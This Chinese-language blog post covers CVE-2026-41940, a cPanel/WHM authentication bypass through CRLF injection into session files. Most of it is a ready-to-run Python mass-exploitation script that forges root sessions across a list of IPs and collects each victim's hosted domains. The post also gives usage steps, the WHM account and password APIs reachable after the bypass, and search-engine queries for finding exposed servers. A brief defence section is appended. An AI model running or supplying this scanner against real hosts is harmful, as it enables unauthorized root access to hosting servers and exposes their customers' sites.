CVE-2026-41940 cPanel/WHM 认证绕过实战笔记
做安全二十多年,第一次亲手打一个真在野被利用的 0day,顺手记录一下。
CVE-2026-41940 是 cPanel & WHM 的认证绕过漏洞,影响所有当前支持的版本。KnownHost 已经确认它在 in-the-wild 被当作零日使用。CVSS 8.8,妥妥的高危。
漏洞概述
影响范围:
- 超过 7000 万域名使用 cPanel
- 所有当前支持的 cPanel & WHM 版本都受影响
修复版本:
- cPanel & WHM 110.0.x → 11.110.0.97
- cPanel & WHM 118.0.x → 11.118.0.63
- cPanel & WHM 126.0.x → 11.126.0.54
- cPanel & WHM 132.0.x → 11.132.0.29
- cPanel & WHM 134.0.x → 11.134.0.20
- cPanel & WHM 136.0.x → 11.136.0.5
漏洞原理
这个漏洞简单说就是:CRLF 注入 + session 编码缺陷。
两个 bug 叠加:
Bug 1:CRLF 注入
saveSession 函数没有过滤 \r\n,攻击者可以在 session 文件里伪造任意的 key=value 行。比如在密码字段注入:
pass=x\r\nhasroot=1\r\nuser=root\r\ntfa_verified=1\r\n...
这样就伪造出了 hasroot=1、tfa_verified=1、user=root 等关键字段。
Bug 2:<ob> 段缺失导致密码不编码
Session cookie 格式是 :SESSIONID,ob_hex,<ob> 是每会话的对称加密密钥,用来把密码字段加密后再写入磁盘。
如果攻击者故意去掉逗号后面的 ob 部分(无 ob session),$encoder 为空,密码就不经过加密直接以明文写入磁盘。
攻击流程
1. 发送错误登录请求,建立 preauth session
POST /login/?login_only=1
user=root&pass=wrong
→ 收到 Cookie: :SESSIONID,ob_hex
2. 取 cookie 的 base name(去掉 ob 部分)
:SESSIONID,ob_hex → :SESSIONID
3. 构造带 CRLF 注入的密码
pass = "x\r\nhasroot=1\r\ntfa_verified=1\r\nuser=root\r\n
cp_security_token=/cpsess9999999999\r\n
successful_internal_auth_with_timestamp=1777462149"
base64 编码后放 Authorization: Basic 头
4. 带上无 ob 的 cookie 发送认证请求
Cookie: whostmgrsession=:SESSIONID (无 ob)
Authorization: Basic base64(...)
因为无 ob,密码不加密,\r\n 原样进 session 文件
5. session 文件内容变成多行伪造记录:
pass=x
hasroot=1 ← 伪造
tfa_verified=1 ← 伪造
user=root ← 伪造
...
6. 触发 Modify 流程,把 raw 注入提升到 cache JSON
7. 服务器用 cache 读取 session,认证绕过完成
完整利用脚本
基于 WatchTowr 的分析,改写了可直接使用的 Python 脚本:
#!/usr/bin/env python3
"""
CVE-2026-41940 - cPanel/WHM Auth Bypass + 批量扫描
"""
import requests, urllib.parse, base64, sys, re, csv, time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from pathlib import Path
try:
from tqdm import tqdm
except ImportError:
tqdm = None
# ============================================
# Payload: root:x\r\nhasroot=1\r\nuser=root\r\ntfa_verified=1\r\n
# successful_internal_auth_with_timestamp=9999999999
# ============================================
PAYLOAD_B64 = (
"cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5"
"OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"
)
def scan_single_ip(ip, port=2087):
"""
对单个 IP 执行完整的 CVE-2026-41940 认证绕过
返回: (ip, domains_str, count) 或 None
"""
s = requests.Session()
s.verify = False
try:
# Stage 1: Minting preauth session
r = s.post(
f"https://{ip}:{port}/login/?login_only=1",
data={"user": "root", "pass": "wrong"},
timeout=15,
headers={"Connection": "close"}
)
raw_set = r.raw.headers.get("Set-Cookie", "")
cookie_value = None
for part in raw_set.split(","):
if "whostmgrsession" in part:
cookie_value = part.split("whostmgrsession=", 1)[1].split(";")[0]
cookie_value = urllib.parse.unquote(cookie_value)
break
if not cookie_value:
return None
session_base = cookie_value.split(",", 1)[0]
cookie_enc = urllib.parse.quote(session_base, safe='')
# Stage 2: CRLF injection
r = s.get(
f"https://{ip}:{port}/",
headers={
"Authorization": f"Basic {PAYLOAD_B64}",
"Cookie": f"whostmgrsession={cookie_enc}",
"Host": f"{ip}:{port}",
"Connection": "close"
},
timeout=15,
allow_redirects=False
)
m = re.search(r"/cpsess\d{10}", r.headers.get("Location", ""))
if not m:
return None
token = m.group(0)
# Stage 3: do_token_denied - 触发 Modify,写入 cache
s.get(
f"https://{ip}:{port}/scripts2/listaccts",
headers={
"Cookie": f"whostmgrsession={cookie_enc}",
"Host": f"{ip}:{port}",
"Connection": "close"
},
timeout=15
)
# Stage 4: 验证 + 获取域名列表
r = s.get(
f"https://{ip}:{port}{token}/json-api/listaccts",
params={"api.version": "1"},
headers={
"Host": f"{ip}:{port}",
"Cookie": f"whostmgrsession={cookie_enc}",
"Connection": "close"
},
timeout=15
)
if r.status_code != 200:
return None
data = r.json()
if "data" in data and "acct" in data["data"]:
accounts = data["data"]["acct"]
domains = [acc.get("domain", "") for acc in accounts if acc.get("domain")]
if domains:
return (ip, ",".join(domains), len(domains))
return None
except Exception:
return None
def main():
# 读取 IP 列表
ip_file = Path("ip.txt")
if not ip_file.exists():
print("[!] ip.txt not found. Usage:")
print(" echo '1.2.3.4' > ip.txt")
print(" python cve-2026-41940-scan.py")
sys.exit(1)
ips = [line.strip() for line in ip_file.read_text().splitlines() if line.strip()]
if not ips:
print("[!] ip.txt is empty")
sys.exit(1)
print(f"\n[📋] Loaded {len(ips)} IPs from ip.txt")
print(f"[🔧] Starting scan...\n")
results = []
success = 0
failed = 0
iterator = tqdm(ips, desc="Scanning", ncols=80, unit="ip") if tqdm else ips
for ip in iterator:
result = scan_single_ip(ip)
if result:
results.append(result)
success += 1
else:
failed += 1
# 保存 CSV
if results:
ts = int(time.time())
csv_file = f"cpanel_results_{ts}.csv"
with open(csv_file, "w", newline="", encoding="utf-8") as f:
writer = csv.writer(f)
writer.writerow(["IP", "Domains", "Domain Count"])
for ip, domains, count in sorted(results, key=lambda x: x[2], reverse=True):
writer.writerow([ip, domains, count])
print(f"\n{'='*60}")
print(f"[📊] Results:")
print(f" Total: {len(ips)}, ✅ Success: {success}, ❌ Failed: {failed}")
print(f" 📁 Output: {csv_file}")
print(f"{'='*60}")
print(f"\n[🔝] Top results (by domain count):")
print(f"{'IP':<25} {'Count':<8} {'Domains'[:50]}")
print("-" * 60)
for ip, domains, count in sorted(results, key=lambda x: x[2], reverse=True)[:10]:
print(f"{ip:<25} {count:<8} {domains[:50]}")
else:
print(f"\n[!] No successful results")
if __name__ == "__main__":
main()
使用方法
# 1. 安装依赖
pip install requests tqdm
# 2. 创建 IP 列表
echo "1.2.3.4" > ip.txt
echo "5.6.7.8" >> ip.txt
# 3. 运行批量扫描
python cve-2026-41940-scan.py
可用的 WHM API(认证绕过后)
这个版本的 cPanel/WHM (11.108.0.15) 能用的 WHM API 非常有限:
| API | 功能 | 状态 |
|---|---|---|
loadavg |
系统负载 | ✅ |
getdiskusage |
磁盘使用情况 | ✅ |
listaccts |
列出所有 cPanel 账户 | ✅ |
accountsummary |
账户摘要 | ⚠️ 需 user 参数 |
createacct |
创建 cPanel 账户 | ⚠️ 需参数 |
passwd |
修改密码 | ⚠️ 需参数 |
读文件/执行命令的 API:全部不存在,只有 loadavg 和 getdiskusage 可用。
FOXA 搜索语法
# 搜索 cPanel 管理面板
app="cpanel"
# 精确 WHM
product="whm" && port=2087
# body 特征
body="/login/?login_only=1" && port=2087
# 组合
body="cPanel" && body="whostmgr" && port=2087
防御建议
- 立即升级:所有 cPanel & WHM 版本升级到修复版本
- 检测利用:监控
/var/cpanel/sessions/raw/目录下 session 文件是否有异常多行注入 - 网络层:在 WAF/防火墙层过滤
\r\n字符在 Authorization 头中的出现
参考
- WatchTowr Labs 分析:https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
- cPanel 官方 Advisory:https://support.cpanel.net/hc/en-us/articles/40073787579671